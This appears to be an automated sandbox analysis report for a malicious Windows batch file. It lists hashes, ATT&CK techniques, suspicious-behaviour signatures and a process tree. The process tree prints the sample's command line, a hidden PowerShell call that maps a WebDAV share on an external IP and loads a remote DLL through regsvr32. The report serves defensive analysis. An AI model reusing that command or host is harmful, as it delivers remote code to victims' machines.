e503a783f24ff69e398f69efeb7a2d64f96d6a00420dda027438fc7940604c64

Analysis

max time kernel
101s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 10:18

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General

Target

317704183387420008.bat
Size

3KB
MD5

0e57cc774ebfed77f30d1d2136e55924
SHA1

dff8c52eabe636110d0566211fce1b35f3f31c55
SHA256

e503a783f24ff69e398f69efeb7a2d64f96d6a00420dda027438fc7940604c64
SHA512

7c3c86749b7fee9815addf5ec8648b19b543bb19fc477f52c716357bd0677407c4a59b7def98e95d56a25b3f5ea8f4b274cbbaf5aac51252afba0fcb72ad78e3

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2796	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2796	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2796	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
592	wordpad.exe
592	wordpad.exe
592	wordpad.exe
592	wordpad.exe
592	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2444 wrote to memory of 592	2444	cmd.exe	29
PID 2444 wrote to memory of 592	2444	cmd.exe	29
PID 2444 wrote to memory of 592	2444	cmd.exe	29
PID 2444 wrote to memory of 2796	2444	cmd.exe	30
PID 2444 wrote to memory of 2796	2444	cmd.exe	30
PID 2444 wrote to memory of 2796	2444	cmd.exe	30
PID 2796 wrote to memory of 2632	2796	powershell.exe	32
PID 2796 wrote to memory of 2632	2796	powershell.exe	32
PID 2796 wrote to memory of 2632	2796	powershell.exe	32
PID 2796 wrote to memory of 2776	2796	powershell.exe	33
PID 2796 wrote to memory of 2776	2796	powershell.exe	33
PID 2796 wrote to memory of 2776	2796	powershell.exe	33
PID 2796 wrote to memory of 2776	2796	powershell.exe	33
PID 2796 wrote to memory of 2776	2796	powershell.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\317704183387420008.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2444
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\135672207219905.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2632
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\135672207219905.dll
    3⤵
    PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2796-24-0x000000001B150000-0x000000001B432000-memory.dmp

Filesize
2.9MB

Download
memory/2796-25-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download